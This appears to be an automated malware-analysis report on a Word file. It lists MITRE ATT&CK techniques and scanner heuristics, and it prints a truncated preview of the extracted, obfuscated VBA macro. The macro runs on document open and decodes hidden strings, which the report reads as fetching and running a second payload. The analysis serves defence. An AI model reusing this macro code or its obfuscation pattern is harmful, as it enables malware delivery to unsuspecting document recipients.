MALICIOUS
282
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon document opening. The macro utilizes CreateObject and Shell calls, indicating an intent to download and execute a secondary payload. The ClamAV detection name 'Doc.Macro.Obfuscated-6397052-2' further supports its malicious nature.
Heuristics 8
-
ClamAV: Doc.Macro.Obfuscated-6397052-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.Obfuscated-6397052-2
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 69226 bytes |
SHA-256: f2034338f2d9ce9c6febeaa191b5f73bf661223d4f54e4497720d4189db94e20 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "uhzPKpfuXGCEORPILO"
Sub AutoOpen()
Dim tJznCmPAPruQMvSt As String: tJznCmPAPruQMvSt = GhVjZOrKKaqSJcZDKN("DBgGGltEXAAfHB5ERV1aChoQQxAHBBENSgkeAQ==")
Dim tywlECnUMiQERh, EqCYklgEqwlG As Integer
For EqCYklgEqwlG = 0 To 5
tywlECnUMiQERh = tywlECnUMiQERh + EqCYklgEqwlG
Next EqCYklgEqwlG
aKLqiMzYZfIhWrymc.ZgxJKDorYCvXQms (TwuTVhuylNgHZ(tJznCmPAPruQMvSt, "dlrjaksemsmsrjtehwlruqrhdlfdlspT$@IGRII(GRG$#I*GRWErnlckskwnrrjtspehsdmsdksehlrhglaemfrnaksdywma@#TR*T$@ITG$@($@T*(T@(*"))
End Sub
Public Function nOyrObFGLLVdQMDpCI(sUdIvzjesXTHaGFh As String) As Object
Dim aSyWOtLtMIb, SMIjWnqbhyoJxbhkL As Integer
aSyWOtLtMIb = 7
SMIjWnqbhyoJxbhkL = 91
While aSyWOtLtMIb < SMIjWnqbhyoJxbhkL
SMIjWnqbhyoJxbhkL = SMIjWnqbhyoJxbhkL - aSyWOtLtMIb
Wend
Set nOyrObFGLLVdQMDpCI = VBA.CreateObject(sUdIvzjesXTHaGFh)
End Function
Public Function GhVjZOrKKaqSJcZDKN(jRyWccXXDDhUIbHdTZ As String, Optional EDNdyoWTvamgYuvC As Boolean = True) As String
Dim mKDkARvPzrbtQqX As Integer
mKDkARvPzrbtQqX = 1 * 3
Static gkACsEnECuKrURPu(0 To 255) As Byte
Dim HGWgxjfRViYLvuiyFM: HGWgxjfRViYLvuiyFM = Array("IbAZzjlHYWNAVIVrzET""LzIYuTUFXOPI")
Dim YgsEtpqbHiuAVPmT() As Byte, fUBYPmKRhHiko() As Byte
Dim HUrDexBCwaZHQxSg As Integer
HUrDexBCwaZHQxSg = 4 - 9 * 2
Dim SsLvjayiTGeCI As Long, fpkoGtWajMYz As Long
Dim bYQWkzxZaOnfuffaf As Integer
bYQWkzxZaOnfuffaf = 2
Dim fIWuMVPXXLlhhTJ As Collection
Set fIWuMVPXXLlhhTJ = New Collection
fIWuMVPXXLlhhTJ.Add "IOZSIwzmnUPkVnoA"
fIWuMVPXXLlhhTJ.Add "RmmjHzkcAKMb"
fIWuMVPXXLlhhTJ.Add "fKehUuDPbTROaihKOb"
fIWuMVPXXLlhhTJ.Add "UPtGvfEFoThVWa"
fIWuMVPXXLlhhTJ.Add "rVojBRxnJjcN"
fIWuMVPXXLlhhTJ.Add "fvvcvHyjDckFUMF"
fIWuMVPXXLlhhTJ.Add "EzAptRjlJPbiwhl"
fIWuMVPXXLlhhTJ.Add "cLUNSEmvFJlYjv"
If bYQWkzxZaOnfuffaf < Len(Application.UserName) Then
Dim ZgmojHHnMOtWgUYNqtn, aGqtYYoNKsCxp As Integer
ZgmojHHnMOtWgUYNqtn = 3
aGqtYYoNKsCxp = 53
While ZgmojHHnMOtWgUYNqtn < aGqtYYoNKsCxp
aGqtYYoNKsCxp = aGqtYYoNKsCxp - ZgmojHHnMOtWgUYNqtn
Wend
Dim dBSMTHZazEZkLClF As Variant
End If
If gkACsEnECuKrURPu(0) = 0 Then
Dim AWQzPnTflhywnRTqS As Integer
AWQzPnTflhywnRTqS = 1 * 9
For SsLvjayiTGeCI = 0 To 255
Dim uUCgUiuTKPaRPLU, HoFPQvUIkXpRyjYcjkb As Integer
uUCgUiuTKPaRPLU = 8
HoFPQvUIkXpRyjYcjkb = 42
While uUCgUiuTKPaRPLU < HoFPQvUIkXpRyjYcjkb
HoFPQvUIkXpRyjYcjkb = HoFPQvUIkXpRyjYcjkb - uUCgUiuTKPaRPLU
Wend
gkACsEnECuKrURPu(SsLvjayiTGeCI) = 255
Dim RoMsjxEHGTOWe, XmIFRDxtXWZEeHeY As Integer
For XmIFRDxtXWZEeHeY = 0 To 1
RoMsjxEHGTOWe = RoMsjxEHGTOWe + XmIFRDxtXWZEeHeY
Next XmIFRDxtXWZEeHeY
Next SsLvjayiTGeCI
Dim hnmkGutrmpMIP, WYeCNxplTKydozyjV As Integer
For WYeCNxplTKydozyjV = 0 To 9
hnmkGutrmpMIP = hnmkGutrmpMIP + WYeCNxplTKydozyjV
Next WYeCNxplTKydozyjV
For SsLvjayiTGeCI = 0 To 25
Dim gGErIiinPikTG: gGErIiinPikTG = Array("RsOTEUhHfxvfNHzk""ObJlkEtzJwawSeFBv""tNqlOxCJzSvkGkZgnKs""tJeMYJAVGrc""FjZSQTTXkDjgXIx""EPYyrCqLKEYqkYc""MYsDHGwsrAdVx""PUSlRoXezbiia""tgYZPMgaKvg")
gkACsEnECuKrURPu(SsLvjayiTGeCI + 65) = SsLvjayiTGeCI
Dim TuCMAypoOwk, DhBRCFnCbMSfLxFH As Integer
For DhBRCFnCbMSfLxFH = 0 To 5
TuCMAypoOwk = TuCMAypoOwk + DhBRCFnCbMSfLxFH
Next DhBRCFnCbMSfLxFH
Next SsLvjayiTGeCI
Dim iPSrRxgfiKIVSWlwf: iPSrRxgfiKIVSWlwf = Array("gbUkADTtYaXRfhxsN")
For SsLvjayiTGeCI = 26 To 51
Dim drMjICqOqLKnQ, jKiaMZIhkivZkADPgNn As Integer
For jKiaMZIhkivZkADPgNn = 0 To 9
drMjICqOqLKnQ = drMjICqOqLKnQ + jKiaMZIhkivZkADPgNn
Next jKiaMZIhkivZkADPgNn
gkACsEnECuKrURPu(SsLvjayiTGeCI + 71) = SsLvjayiTGeCI
Dim FgvlanMZTxfrRs As Collection
Set FgvlanMZTxfrRs = New Collection
FgvlanMZTxfrRs.Add "JYOPOwKEWFWGikCUWzu"
FgvlanMZTxfrRs.Add "mGzPgBPraBDqyhdTy"
FgvlanMZTxfrRs.Add "NTgClqOqLQlURkz"
Next SsLvjayiTGeCI
Dim ngyNYnSMvLBBPlRWh, DLMQIbGFHEvsuG As Integer
ngyNYnSMvLBBPlRWh = 1
DLMQ
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.